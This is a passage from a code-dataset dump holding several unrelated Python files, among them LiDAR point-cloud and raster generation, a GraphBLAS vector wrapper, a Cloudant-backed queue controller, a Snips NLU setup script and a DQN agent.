np.savez_compressed(os.path.join(self.calc_folder, self.hash()), **{self.hash(): self.pointcloud_array})\n self.calculated = True\n self.GUI._parseCalcFiles()\n self.guistate.emit(True)\n return\n\n def update(self, value):\n self.pbar.setValue(value)\n\n def gui_state(self, state):\n self.GUI.tabWidget.setEnabled(state)\n\n def hash(self):\n hash_md5 = hashlib.md5()\n with open(self.fpath, \"rb\") as f:\n for chunk in iter(lambda: f.read(4096), b\"\"):\n hash_md5.update(chunk)\n return hash_md5.hexdigest()\n\n def calculate_array(self):\n self.engine = CalcEngine(self.df, self.density, self.min_area, self.no_of_cores)\n self.watcher = Thread(target=self._engineWatcher, name=f\"Engine Watcher: {self.hash()}\")\n self.watcher.start()\n self.updated.connect(self.update)\n self.guistate.connect(self.gui_state)\n self.guistate.emit(False)\n self.engine.calculate_pointcloud()\n return\n\n def generate_pcfile(self):\n while not self.calculated:\n time.sleep(0.5)\n\n self.guistate.emit(False)\n\n self.GUI.statusbar.showMessage(\"Starting PointCloud file generation.\")\n\n if self.pcfile_type == \"LAS\":\n\n lasfile_path = os.path.join(self.GUI.settings.value(\"out_folder\"), os.path.basename(self.fpath) + \".las\")\n\n x, y, z = self.pointcloud_array.T\n\n hdr = laspy.header.Header()\n\n with laspy.file.File(lasfile_path, mode=\"w\", header=hdr) as outfile:\n outfile.header.offset = [\n np.floor(np.min(x)),\n np.floor(np.min(y)),\n np.floor(np.min(z))\n ]\n\n outfile.header.max = [\n np.max(x),\n np.max(y),\n np.max(z)\n ]\n\n outfile.header.min = [\n np.min(x),\n np.min(y),\n np.min(z)\n ]\n\n outfile.header.scale = [\n 0.001,\n 0.001,\n 0.001\n ]\n\n outfile.x = x\n outfile.y = y\n outfile.z = z\n\n self.pcfile = lasfile_path\n\n elif self.pcfile_type == \"TXT\":\n txtfile_path = os.path.join(self.GUI.settings.value(\"out_folder\"),os.path.basename(self.fpath)+\".txt\")\n np.savetxt(txtfile_path, self.pointcloud_array, delimiter=\",\")\n self.pcfile = txtfile_path\n\n self.GUI.statusbar.showMessage(\"PC file generated.\")\n self.pcfile_generated = True\n self.guistate.emit(True)\n return\n\n def generate_raster(self):\n while not self.pcfile_generated:\n time.sleep(0.5)\n\n self.GUI.statusbar.showMessage(\"Starting raster generation...\")\n self.guistate.emit(False)\n\n subprocess.call(\n [\n \"lasground\",\n \"-cpu64\",\n \"-i\",\n self.pcfile,\n \"-city\",\n \"-fine\",\n \"-compute_height\",\n \"-replace_z\",\n \"-odix\", \n '\"_height\"',\n \"-olaz\"\n ]\n )\n\n subprocess.call(\n [\n \"lasgrid\",\n \"-i\",\n os.path.join(self.GUI.settings.value(\"out_folder\"), os.path.basename(self.fpath)) + \"_height.laz\",\n \"-cpu64\",\n \"-step\",\n self.step,\n \"-subcircle\",\n self.subcircle,\n \"-highest\",\n \"-nodata\",\n self.nodata,\n \"-fill\",\n self.fill,\n \"-drop_z_below\",\n self.min_z,\n \"-o\",\n os.path.join(self.GUI.settings.value(\"out_folder\"), os.path.basename(self.fpath)) + \".bil\"\n ]\n )\n\n if self.del_pcfile == \"true\":\n files_to_del = filter(lambda x: \".las\" in x or \".txt\" in x or \".laz\" in x, os.listdir(self.GUI.settings.value(\"out_folder\")))\n files_to_del = list(filter(lambda x: os.path.basename(self.fpath) in x, files_to_del))\n for f in files_to_del:\n os.remove(os.path.join(self.GUI.settings.value(\"out_folder\"), f))\n self.pcfile_generated = False\n self.GUI.statusbar.showMessage(\"PC files deleted.\")\n \n self.GUI.statusbar.showMessage(\"Generated raster files.\")\n self.guistate.emit(True)\n return\n\nclass CalcEngine:\n def __init__(self, df, density, min_area, no_of_cores):\n self.density = density\n self.min_area = min_area\n self.no_of_cores = no_of_cores\n self.df = df\n self.finished = False\n self.percentage = 0\n self._processed = 0\n self.result = []\n self.chunks_count = 0\n\n def dispose(self):\n del(self)\n\n def calculate_pointcloud(self):\n pool = mp.Pool(self.no_of_cores)\n features = list(self.df[\"geometry\"]).copy()\n chunks = np.array_split(np.array(features), self.no_of_cores)\n valid_chunks = list(filter(lambda x: len(x), chunks))\n self.chunks_count = len(valid_chunks)\n results = [pool.apply_async(self.calc, (chunk,), callback = self.callbackfunction) for chunk in valid_chunks]\n pool.close()\n pool.join()\n return\n \n def callbackfunction(self, response):\n self._processed += 1\n self.result.extend(response)\n self.percentage = (self._processed/self.chunks_count)*100\n if self.percentage == 100:\n self.finished = True\n\n def calc(self, features):\n multips = [feat for feat in features]\n polys = []\n for multi in multips:\n for poly in list(multi):\n polys.append(poly)\n points = []\n def _geom_classify(geom):\n _, _, z = zip(*[coord for coord in geom])\n if geom.area == 0:\n return \"wall\"\n elif all(z[0] == value for value in z):\n return \"flat\"\n else:\n return \"plane\"\n\n for geom in polys:\n geom = Polygon(geom)\n if (geom.area > self.min_area and geom.is_valid):\n\n x, y, z = zip(*[coord for coord in geom])\n geom_type = _geom_classify(geom)\n\n x_points = (\n np.rint(np.ceil(max(x)) - np.floor(min(x)))\n * self.density\n )\n y_points = (\n np.rint(np.ceil(max(y)) - np.floor(min(y)))\n * self.density\n )\n\n x_vector = np.linspace(min(x), max(x), int(x_points))\n y_vector = np.linspace(min(y), max(y), int(y_points))\n\n if geom_type == \"flat\":\n z_mean = np.mean(z)\n points_2d = product(x_vector, y_vector)\n points_3d = MultiPoint([(px, py, z_mean) for px, py in points_2d])\n\n elif geom_type == \"plane\":\n plane_coords = list(zip(x, y, z))[:3]\n cp = np.cross(\n np.subtract(plane_coords[-1], plane_coords[0]),\n np.subtract(plane_coords[1], plane_coords[0]),\n )\n a, b, c = cp\n d = np.dot(cp, plane_coords[-1])\n X, Y = np.meshgrid(x_vector, y_vector)\n Z = (d - a * X - b * Y) / c\n points_3d = MultiPoint(\n list(zip(X.flatten(), Y.flatten(), Z.flatten()))\n )\n points.extend(points_3d.intersection(geom))\n\n return np.array(MultiPoint(points))\n\nclass Polygon(Polygon):\n def __iter__(self):\n for coord in self.__geo_interface__[\"coordinates\"][0]:\n yield coord\n","sub_path":"res/geoengine.py","file_name":"geoengine.py","file_ext":"py","file_size_in_byte":10154,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"526458902","text":"#!/usr/bin/env python\n# encoding=utf8\nfrom base import BaseMiddleware\nimport json\n\n\nclass ParsePostBodyMiddleware(BaseMiddleware):\n def prepare_request(self, handler):\n self._parse_post_data(handler)\n\n def _parse_post_data(self, handler):\n if handler.request.method == 'POST':\n body = handler.request.body\n data = json.loads(body)\n handler.request.data = data\n","sub_path":"api/middleware/parse_post_body.py","file_name":"parse_post_body.py","file_ext":"py","file_size_in_byte":413,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"426023448","text":"import itertools\nfrom . import ffi, lib, backend, binary, monoid, semiring\nfrom .base import BaseExpression, BaseType\nfrom .dtypes import libget, lookup_dtype, unify\nfrom .exceptions import check_status, is_error, NoValue\nfrom .expr import AmbiguousAssignOrExtract, IndexerResolver, Updater\nfrom .mask import StructuralMask, ValueMask\nfrom .ops import get_typed_op\nfrom .scalar import Scalar, ScalarExpression, _CScalar\n\nffi_new = ffi.new\n\n\nclass Vector(BaseType):\n \"\"\"\n GraphBLAS Sparse Vector\n High-level wrapper around GrB_Vector type\n \"\"\"\n\n _name_counter = itertools.count()\n\n def __init__(self, gb_obj, dtype, *, name=None):\n if name is None:\n name = f\"v_{next(Vector._name_counter)}\"\n super().__init__(gb_obj, dtype, name)\n\n def __del__(self):\n check_status(lib.GrB_Vector_free(self.gb_obj))\n\n def __repr__(self, mask=None):\n from .formatting import format_vector\n\n return format_vector(self, mask=mask)\n\n def _repr_html_(self, mask=None):\n from .formatting import format_vector_html\n\n return format_vector_html(self, mask=mask)\n\n @property\n def S(self):\n return StructuralMask(self)\n\n @property\n def V(self):\n return ValueMask(self)\n\n def __delitem__(self, keys):\n del Updater(self)[keys]\n\n def __getitem__(self, keys):\n resolved_indexes = IndexerResolver(self, keys)\n return AmbiguousAssignOrExtract(self, resolved_indexes)\n\n def __setitem__(self, keys, delayed):\n Updater(self)[keys] = delayed\n\n def isequal(self, other, *, check_dtype=False):\n \"\"\"\n Check for exact equality (same size, same empty values)\n If `check_dtype` is True, also checks that dtypes match\n For equality of floating point Vectors, consider using `isclose`\n \"\"\"\n self._expect_type(other, Vector, within=\"isequal\", argname=\"other\")\n if check_dtype and self.dtype != other.dtype:\n return False\n if self.size != other.size:\n return False\n if self.nvals != other.nvals:\n return False\n if check_dtype:\n # dtypes are equivalent, so not need to unify\n common_dtype = self.dtype\n else:\n common_dtype = unify(self.dtype, other.dtype)\n\n matches = Vector.new(bool, self.size, name=\"v_isequal\")\n matches << self.ewise_mult(other, binary.eq[common_dtype])\n # ewise_mult performs intersection, so nvals will indicate mismatched empty values\n if matches.nvals != self.nvals:\n return False\n\n # Check if all results are True\n return matches.reduce(monoid.land).value\n\n def isclose(self, other, *, rel_tol=1e-7, abs_tol=0.0, check_dtype=False):\n \"\"\"\n Check for approximate equality (including same size and empty values)\n If `check_dtype` is True, also checks that dtypes match\n Closeness check is equivalent to `abs(a-b) <= max(rel_tol * max(abs(a), abs(b)), abs_tol)`\n \"\"\"\n self._expect_type(other, Vector, within=\"isclose\", argname=\"other\")\n if check_dtype and self.dtype != other.dtype:\n return False\n if self.size != other.size:\n return False\n if self.nvals != other.nvals:\n return False\n\n matches = self.ewise_mult(other, binary.isclose(rel_tol, abs_tol)).new(\n dtype=bool, name=\"M_isclose\"\n )\n # ewise_mult performs intersection, so nvals will indicate mismatched empty values\n if matches.nvals != self.nvals:\n return False\n\n # Check if all results are True\n return matches.reduce(monoid.land).value\n\n @property\n def size(self):\n n = ffi_new(\"GrB_Index*\")\n check_status(lib.GrB_Vector_size(n, self.gb_obj[0]))\n return n[0]\n\n @property\n def shape(self):\n return (self.size,)\n\n @property\n def nvals(self):\n n = ffi_new(\"GrB_Index*\")\n check_status(lib.GrB_Vector_nvals(n, self.gb_obj[0]))\n return n[0]\n\n def clear(self):\n check_status(lib.GrB_Vector_clear(self.gb_obj[0]))\n\n def resize(self, size):\n check_status(lib.GrB_Vector_resize(self.gb_obj[0], size))\n\n def to_values(self):\n \"\"\"\n GrB_Vector_extractTuples\n Extract the indices and values as 2 generators\n \"\"\"\n indices = ffi_new(\"GrB_Index[]\", self.nvals)\n values = ffi_new(f\"{self.dtype.c_type}[]\", self.nvals)\n n = ffi_new(\"GrB_Index*\")\n n[0] = self.nvals\n func = libget(f\"GrB_Vector_extractTuples_{self.dtype.name}\")\n check_status(func(indices, values, n, self.gb_obj[0]))\n return tuple(indices), tuple(values)\n\n def build(self, indices, values, *, dup_op=None, clear=False):\n # TODO: add `size` option once .resize is available\n if not isinstance(indices, (tuple, list)):\n indices = tuple(indices)\n if not isinstance(values, (tuple, list)):\n values = tuple(values)\n if len(indices) != len(values):\n raise ValueError(\n f\"`indices` and `values` have different lengths \" f\"{len(indices)} != {len(values)}\"\n )\n if clear:\n self.clear()\n n = len(indices)\n if n <= 0:\n return\n\n dup_op_given = dup_op is not None\n if not dup_op_given:\n dup_op = binary.plus\n dup_op = get_typed_op(dup_op, self.dtype)\n self._expect_op(dup_op, \"BinaryOp\", within=\"build\", argname=\"dup_op\")\n\n indices = ffi_new(\"GrB_Index[]\", indices)\n values = ffi_new(f\"{self.dtype.c_type}[]\", values)\n # Push values into w\n func = libget(f\"GrB_Vector_build_{self.dtype.name}\")\n check_status(func(self.gb_obj[0], indices, values, n, dup_op.gb_obj))\n # Check for duplicates when dup_op was not provided\n if not dup_op_given and self.nvals < len(values):\n raise ValueError(\"Duplicate indices found, must provide `dup_op` BinaryOp\")\n\n def dup(self, *, dtype=None, mask=None, name=None):\n \"\"\"\n GrB_Vector_dup\n Create a new Vector by duplicating this one\n \"\"\"\n if dtype is not None or mask is not None:\n if dtype is None:\n dtype = self.dtype\n new_vec = type(self).new(dtype, size=self.size, name=name)\n new_vec(mask=mask)[:] << self\n return new_vec\n new_vec = ffi_new(\"GrB_Vector*\")\n check_status(lib.GrB_Vector_dup(new_vec, self.gb_obj[0]))\n return type(self)(new_vec, self.dtype, name=name)\n\n @classmethod\n def new(cls, dtype, size=0, *, name=None):\n \"\"\"\n GrB_Vector_new\n Create a new empty Vector from the given type and size\n \"\"\"\n new_vector = ffi_new(\"GrB_Vector*\")\n dtype = lookup_dtype(dtype)\n check_status(lib.GrB_Vector_new(new_vector, dtype.gb_type, size))\n return cls(new_vector, dtype, name=name)\n\n @classmethod\n def from_values(cls, indices, values, *, size=None, dup_op=None, dtype=None, name=None):\n \"\"\"Create a new Vector from the given lists of indices and values. If\n size is not provided, it is computed from the max index found.\n \"\"\"\n if not isinstance(indices, (tuple, list)):\n indices = tuple(indices)\n if not isinstance(values, (tuple, list)):\n values = tuple(values)\n if dtype is None:\n if len(values) <= 0:\n raise ValueError(\"No values provided. Unable to determine type.\")\n # Find dtype from any of the values (assumption is they are the same type)\n dtype = type(values[0])\n dtype = lookup_dtype(dtype)\n # Compute size if not provided\n if size is None:\n if not indices:\n raise ValueError(\"No indices provided. Unable to infer size.\")\n size = max(indices) + 1\n # Create the new vector\n w = cls.new(dtype, size, name=name)\n # Add the data\n w.build(indices, values, dup_op=dup_op)\n return w\n\n @property\n def _carg(self):\n return self.gb_obj[0]\n\n #########################################################\n # Delayed methods\n #\n # These return a delayed expression object which must be passed\n # to update to trigger a call to GraphBLAS\n #########################################################\n\n def ewise_add(self, other, op=monoid.plus, *, require_monoid=True):\n \"\"\"\n GrB_eWiseAdd_Vector\n\n Result will contain the union of indices from both Vectors.\n\n Default op is monoid.plus.\n\n Unless explicitly disabled, this method requires a monoid (directly or from a semiring).\n The reason for this is that binary operators can create very confusing behavior when\n only one of the two elements is present.\n\n Examples:\n - binary.minus where left=N/A and right=4 yields 4 rather than -4 as might be expected\n - binary.gt where left=N/A and right=4 yields True\n - binary.gt where left=N/A and right=0 yields False\n\n The behavior is caused by grabbing the non-empty value and using it directly without\n performing any operation. In the case of `gt`, the non-empty value is cast to a boolean.\n For these reasons, users are required to be explicit when choosing this surprising behavior.\n \"\"\"\n method_name = \"ewise_add\"\n self._expect_type(other, Vector, within=method_name, argname=\"other\")\n op = get_typed_op(op, self.dtype, other.dtype)\n if require_monoid:\n self._expect_op(\n op,\n (\"Monoid\", \"Semiring\"),\n within=method_name,\n argname=\"op\",\n extra_message=\"A BinaryOp may be given if require_monoid keyword is False\",\n )\n else:\n self._expect_op(\n op, (\"BinaryOp\", \"Monoid\", \"Semiring\"), within=method_name, argname=\"op\"\n )\n expr = VectorExpression(\n method_name, f\"GrB_eWiseAdd_Vector_{op.opclass}\", [self, other], op=op,\n )\n if self.size != other.size:\n expr.new(name=\"\") # incompatible shape; raise now\n return expr\n\n def ewise_mult(self, other, op=binary.times):\n \"\"\"\n GrB_eWiseMult_Vector\n\n Result will contain the intersection of indices from both Vectors\n Default op is binary.times\n \"\"\"\n method_name = \"ewise_add\"\n self._expect_type(other, Vector, within=method_name, argname=\"other\")\n op = get_typed_op(op, self.dtype, other.dtype)\n self._expect_op(op, (\"BinaryOp\", \"Monoid\", \"Semiring\"), within=method_name, argname=\"op\")\n expr = VectorExpression(\n method_name, f\"GrB_eWiseMult_Vector_{op.opclass}\", [self, other], op=op,\n )\n if self.size != other.size:\n expr.new(name=\"\") # incompatible shape; raise now\n return expr\n\n def vxm(self, other, op=semiring.plus_times):\n \"\"\"\n GrB_vxm\n Vector-Matrix multiplication. Result is a Vector.\n Default op is semiring.plus_times\n \"\"\"\n from .matrix import Matrix, TransposedMatrix\n\n method_name = \"vxm\"\n self._expect_type(other, (Matrix, TransposedMatrix), within=method_name, argname=\"other\")\n op = get_typed_op(op, self.dtype, other.dtype)\n self._expect_op(op, \"Semiring\", within=method_name, argname=\"op\")\n expr = VectorExpression(\n method_name, \"GrB_vxm\", [self, other], op=op, size=other.ncols, bt=other._is_transposed,\n )\n if self.size != other.nrows:\n expr.new(name=\"\") # incompatible shape; raise now\n return expr\n\n def apply(self, op, *, left=None, right=None):\n \"\"\"\n GrB_Vector_apply\n Apply UnaryOp to each element of the calling Vector\n A BinaryOp can also be applied if a scalar is passed in as `left` or `right`,\n effectively converting a BinaryOp into a UnaryOp\n \"\"\"\n method_name = \"apply\"\n extra_message = (\n \"apply only accepts UnaryOp with no scalars or BinaryOp with `left` or `right` scalar.\"\n )\n if left is None and right is None:\n op = get_typed_op(op, self.dtype)\n self._expect_op(\n op, \"UnaryOp\", within=method_name, argname=\"op\", extra_message=extra_message,\n )\n cfunc_name = \"GrB_Vector_apply\"\n args = [self]\n expr_repr = None\n elif right is None:\n if type(left) is not Scalar:\n try:\n left = Scalar.from_value(left, name=\"left\")\n except TypeError:\n self._expect_type(\n left,\n Scalar,\n within=method_name,\n keyword_name=\"left\",\n extra_message=\"Literal scalars also accepted.\",\n )\n op = get_typed_op(op, self.dtype, left.dtype)\n self._expect_op(\n op, \"BinaryOp\", within=method_name, argname=\"op\", extra_message=extra_message,\n )\n cfunc_name = f\"GrB_Vector_apply_BinaryOp1st_{left.dtype}\"\n args = [_CScalar(left), self]\n expr_repr = \"{1.name}.apply({op}, left={0})\"\n elif left is None:\n if type(right) is not Scalar:\n try:\n right = Scalar.from_value(right, name=\"right\")\n except TypeError:\n self._expect_type(\n right,\n Scalar,\n within=method_name,\n keyword_name=\"right\",\n extra_message=\"Literal scalars also accepted.\",\n )\n op = get_typed_op(op, self.dtype, right.dtype)\n self._expect_op(\n op, \"BinaryOp\", within=method_name, argname=\"op\", extra_message=extra_message,\n )\n cfunc_name = f\"GrB_Vector_apply_BinaryOp2nd_{right.dtype}\"\n args = [self, _CScalar(right)]\n expr_repr = \"{0.name}.apply({op}, right={1})\"\n else:\n raise TypeError(\"Cannot provide both `left` and `right` to apply\")\n return VectorExpression(\n method_name, cfunc_name, args, op=op, expr_repr=expr_repr, size=self.size,\n )\n\n def reduce(self, op=monoid.plus):\n \"\"\"\n GrB_Vector_reduce\n Reduce all values into a scalar\n Default op is monoid.lor for boolean and monoid.plus otherwise\n \"\"\"\n method_name = \"reduce_scalar\"\n op = get_typed_op(op, self.dtype)\n self._expect_op(op, \"Monoid\", within=method_name, argname=\"op\")\n return ScalarExpression(\n method_name,\n \"GrB_Vector_reduce_{output_dtype}\",\n [self],\n op=op, # to be determined later\n )\n\n ##################################\n # Extract and Assign index methods\n ##################################\n def _extract_element(self, resolved_indexes):\n index, _ = resolved_indexes.indices[0]\n func = libget(f\"GrB_Vector_extractElement_{self.dtype}\")\n result = ffi_new(f\"{self.dtype.c_type}*\")\n err_code = func(result, self.gb_obj[0], index)\n # Don't raise error for no value, simply return `None`\n if is_error(err_code, NoValue):\n return None, self.dtype\n check_status(err_code)\n return result[0], self.dtype\n\n def _prep_for_extract(self, resolved_indexes):\n index, isize = resolved_indexes.indices[0]\n return VectorExpression(\n \"__getitem__\",\n \"GrB_Vector_extract\",\n [self, index, isize],\n expr_repr=\"{0.name}[[{2} elements]]\",\n size=isize,\n dtype=self.dtype,\n )\n\n def _assign_element(self, resolved_indexes, value):\n index, _ = resolved_indexes.indices[0]\n if type(value) is not Scalar:\n try:\n value = Scalar.from_value(value, name=\"s_assign\")\n except TypeError:\n self._expect_type(\n value,\n Scalar,\n within=\"__setitem__\",\n argname=\"value\",\n extra_message=\"Literal scalars also accepted.\",\n )\n func = libget(f\"GrB_Vector_setElement_{value.dtype}\")\n check_status(func(self.gb_obj[0], value.value, index)) # should we cast?\n\n def _prep_for_assign(self, resolved_indexes, value):\n method_name = \"__setitem__\"\n index, isize = resolved_indexes.indices[0]\n if type(value) is Vector:\n cfunc_name = \"GrB_Vector_assign\"\n expr_repr = \"[[{2} elements]] = {0.name}\"\n else:\n if type(value) is not Scalar:\n try:\n value = Scalar.from_value(value, name=\"s_assign\")\n except TypeError:\n self._expect_type(\n value,\n (Scalar, Vector),\n within=method_name,\n argname=\"value\",\n extra_message=\"Literal scalars also accepted.\",\n )\n cfunc_name = f\"GrB_Vector_assign_{value.dtype}\"\n value = _CScalar(value)\n expr_repr = \"[[{2} elements]] = {0}\"\n return VectorExpression(\n method_name,\n cfunc_name,\n [value, index, isize],\n expr_repr=expr_repr,\n size=self.size,\n dtype=self.dtype,\n )\n\n def _delete_element(self, resolved_indexes):\n index, _ = resolved_indexes.indices[0]\n check_status(lib.GrB_Vector_removeElement(self.gb_obj[0], index))\n\n if backend == \"pygraphblas\": # pragma: no cover\n\n def to_pygraphblas(self):\n \"\"\" Convert to a new `pygraphblas.Vector`\n\n This does not copy data.\n\n This gives control of the underlying GraphBLAS object to `pygraphblas`.\n This means operations on the current `grblas` object will fail!\n \"\"\"\n import pygraphblas\n\n vector = pygraphblas.Vector(self.gb_obj, self.dtype.gb_type)\n self.gb_obj = ffi.NULL\n return vector\n\n @classmethod\n def from_pygraphblas(cls, vector):\n \"\"\" Convert a `pygraphblas.Vector` to a new `grblas.Vector`\n\n This does not copy data.\n\n This gives control of the underlying GraphBLAS object to `grblas`.\n This means operations on the original `pygraphblas` object will fail!\n \"\"\"\n dtype = lookup_dtype(vector.gb_type)\n rv = cls(vector.vector, dtype)\n vector.vector = ffi.NULL\n return rv\n\n\nclass VectorExpression(BaseExpression):\n output_type = Vector\n\n def __init__(\n self,\n method_name,\n cfunc_name,\n args,\n *,\n at=False,\n bt=False,\n op=None,\n dtype=None,\n expr_repr=None,\n size=None,\n ):\n super().__init__(\n method_name, cfunc_name, args, at=at, bt=bt, op=op, dtype=dtype, expr_repr=expr_repr,\n )\n if size is None:\n size = args[0].size\n self.size = size\n\n def construct_output(self, dtype=None, *, name=None):\n if dtype is None:\n dtype = self.dtype\n return Vector.new(dtype, self.size, name=name)\n\n def __repr__(self):\n from .formatting import format_vector_expression\n\n return format_vector_expression(self)\n\n def _repr_html_(self):\n from .formatting import format_vector_expression_html\n\n return format_vector_expression_html(self)\n","sub_path":"grblas/vector.py","file_name":"vector.py","file_ext":"py","file_size_in_byte":19861,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"531930859","text":"import db_config as dbConfig\nfrom cloudant.document import Document\nimport atexit\nimport time\nimport json\n\nmy_queue_db = dbConfig.initDB(\"queue\")\nmy_client_db = dbConfig.initDB(\"client\")\n\ndef insertInQueue(jsonIn):\n client = '\\\"nome\\\":\\\"'+jsonIn[\"nome\"]+'\\\",\\\"telefone\\\":\\\"'+jsonIn[\"telefone\"]+'\\\"'\n toQueue = '{\\\"_id\\\":\\\"'+str(jsonIn[\"time\"])+'\\\",'+client+',\\\"cadeiras\\\":'+str(jsonIn[\"cadeiras\"])+',\\\"called\\\":false}'\n\n my_document_queue = my_queue_db.create_document(json.loads(toQueue))\n \n if my_document_queue.exists():\n return('{\\\"err\\\":false}')\n else:\n return('{\\\"err\\\":true,\\\"msg\\\":\\\"Problem in queue DB\\\"}')\n\n\n\ndef updateInQueue(id ,jsonIn):\n my_document = my_queue_db[id]\n print(my_document)\n for param in jsonIn:\n my_document[param] = jsonIn[param]\n my_document.save()\n return ('{\\\"err\\\":false}')\n\n\ndef getAll():\n bigQueue = []\n for doc in my_queue_db:\n bigQueue.append(doc) \n return (json.dumps({'array':bigQueue}))\n\n\n# def getAllFromQueue(number):\n# # query the queue by number of seats\n# selector = {'cadeiras': {'$eq': int(number)}}\n# docs = my_queue_db.get_query_result(selector = selector,fields= None, raw_result = False)\n# smallQueue = []\n# for doc in docs:\n# smallQueue[doc['_id']] = doc\n# dict\n# return(json.dumps(dict('array'smallQueue)))\n\ndef deleteFromQueue(_id):\n my_document = my_queue_db[_id]\n my_document.delete()\n return ('{\\\"err\\\":false}')","sub_path":"queue_controller.py","file_name":"queue_controller.py","file_ext":"py","file_size_in_byte":1493,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"350308390","text":"from __future__ import print_function\n\nimport io\nimport os\nimport subprocess\nimport sys\n\nfrom setuptools import setup, find_packages\nfrom setuptools.dist import Distribution\nfrom wheel.bdist_wheel import bdist_wheel\n\nfrom rust_build import build_rust_cmdclass, RustInstallLib\n\n# Hack to pass custom parameters because setup.py is badly documented and\n# I'm fed up with this crap\nscript_args = [i for i in sys.argv[1:] if \"build-mode\" not in i]\ndebug = \"--build-mode=release\" not in sys.argv\n\n\nclass RustNLUDistribution(Distribution):\n def __init__(self, *attrs):\n Distribution.__init__(self, *attrs)\n self.cmdclass['install_lib'] = RustInstallLib\n self.cmdclass['bdist_wheel'] = RustBdistWheel\n self.cmdclass['build_rust'] = build_rust_cmdclass(debug=debug)\n\n print(\"Building in {} mode\".format(\"debug\" if debug else \"release\"))\n\n\nclass RustBdistWheel(bdist_wheel):\n def finalize_options(self):\n bdist_wheel.finalize_options(self)\n self.root_is_pure = False\n\n\npackages = [p for p in find_packages() if\n \"tests\" not in p and \"debug\" not in p]\n\nPACKAGE_NAME = \"snips_nlu_rust\"\nROOT_PATH = os.path.dirname(os.path.abspath(__file__))\nPACKAGE_PATH = os.path.join(ROOT_PATH, PACKAGE_NAME)\nVERSION = \"__version__\"\n\ntimestamp = int(subprocess.check_output(['git', 'log', '-1', '--format=%at']))\n\nwith io.open(os.path.join(PACKAGE_PATH, VERSION)) as f:\n version = f.readline().strip().replace(\"-SNAPSHOT\", \".dev%i\" % timestamp)\n\nrequired = [\n \"future==0.16.0\"\n]\n\nsetup(\n name=PACKAGE_NAME,\n version=version,\n description='Python wrapper for the Snips NLU engine',\n author='Thibaut Lorrain',\n author_email='thibaut.lorrain@snips.ai',\n install_requires=required,\n packages=packages,\n include_package_data=True,\n distclass=RustNLUDistribution,\n entry_points={\n 'console_scripts': ['debug=snips_nlu_rust.debug:main_debug'],\n },\n zip_safe=False,\n script_args=script_args,\n)\n","sub_path":"snips-nlu-ffi/python/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1978,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"61879502","text":"import os, sys\nimport random\nimport numpy as np\nimport cv2\nimport gym\nimport torch\nimport torch.optim as optim\nimport torch.nn.functional as F\nimport datetime\nimport re\n\nfrom network import DQN\nfrom replay_buff import ReplayBuff, LmdbReplayBuff, Transition\nfrom tensorboardX import SummaryWriter\n\n\"\"\"\nHyper-parameter From DeepMind https://arxiv.org/pdf/1710.02298.pdf\nHyper-parameter value\nQ network: channels 32, 64, 64\nQ network: filter size 8x8, 4x4, 3x3\nQ network: stride 4, 2, 1\nQ network: hidden units 512\nQ network: output units Number of actions\nDiscount factor 0.99\nMemory size 1M transitions\nReplay period every 4 agent steps\nMinibatch size 32\n\"\"\"\n\nclass Agent(object):\n def __init__(self, env, net=DQN, idx=0, mem=1000000, lr=1e-4, discount=0.99, init_steps=50000, summary=None):\n if isinstance(env.action_space, gym.spaces.Discrete):\n na = env.action_space.n\n if isinstance(env.observation_space, gym.spaces.Box):\n ob_shape = env.observation_space.shape\n\n self.env_name = re.findall(\"AtariEnv<(.*?)>\", str(env))[0]\n self.ob_shape = ob_shape\n self.na = na\n self.policy_net = net(ob_shape, na)\n self.target_net = net(ob_shape, na)\n self.memory = LmdbReplayBuff(\"lmdb/{}-{}\".format(self.env_name, idx), mem)\n self.num_init_steps = init_steps\n self.discount = 0.99\n self.global_step = 0\n\n self.policy_net.init()\n self.target_net.load_state_dict(self.policy_net.state_dict())\n self.target_net.eval()\n\n self.device = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n if self.device.type == \"cuda\":\n self.policy_net.cuda()\n self.target_net.cuda()\n\n self.optimizer = optim.Adam(self.policy_net.parameters(), lr=lr, weight_decay=5e-5)\n\n self.summary = summary\n\n self._acc_q = 0\n self._acc_loss = 0\n\n def dataload(self, batch_size=32):\n # begin = datetime.datetime.now()\n batch_transition = self.memory.sample(batch_size)\n wapper_transition = Transition(*zip(*batch_transition))\n # end = datetime.datetime.now()\n # print(\"load:\", end-begin)\n # begin = datetime.datetime.now()\n rewards = torch.from_numpy(np.array(wapper_transition.reward, dtype=np.float32)).cuda().unsqueeze_(1)\n actions = torch.from_numpy(np.array(wapper_transition.action, dtype=np.int64)).cuda().unsqueeze_(1)\n dones = torch.from_numpy(np.array(wapper_transition.done, dtype=np.float32)).cuda().unsqueeze_(1)\n states = torch.from_numpy(np.array(wapper_transition.state, dtype=np.float32)).cuda()\n next_states = torch.from_numpy(np.array(wapper_transition.next_state, dtype=np.float32)).cuda()\n # end = datetime.datetime.now()\n # print(\"copy:\", end-begin)\n return rewards, actions, dones, states, next_states\n\n def loss_fn(self, rewards, actions, dones, states, next_states):\n # begin = datetime.datetime.now()\n with torch.no_grad():\n targets = self.discount * self.target_net.value(next_states) * (1 - dones) + rewards\n # torch.cuda.synchronize()\n # end = datetime.datetime.now()\n # print(\"target:\", end-begin)\n\n # begin = datetime.datetime.now()\n q_fn = self.policy_net.value(states, actions)\n # torch.cuda.synchronize()\n # end = datetime.datetime.now()\n # print(\"q:\", end-begin)\n\n assert q_fn.shape == targets.shape\n # begin = datetime.datetime.now()\n loss = self.policy_net.loss_fn(q_fn, targets)\n # torch.cuda.synchronize()\n # end = datetime.datetime.now()\n # print(\"loss:\", end-begin)\n self._acc_loss += loss\n self._acc_q += q_fn.mean()\n return loss\n \n def td_update(self, batch_size=32):\n if len(self.memory) > self.num_init_steps:\n loss_fn = self.loss_fn(*self.dataload(batch_size))\n\n if self.global_step % 100 == 0:\n self.summary.add_scalar(\"train/average.q_a\", self._acc_q/100, global_step=self.global_step)\n self.summary.add_scalar(\"train/average.loss\", self._acc_loss/100, global_step=self.global_step)\n self._acc_q = 0\n self._acc_loss = 0\n\n # Optimize the model\n # 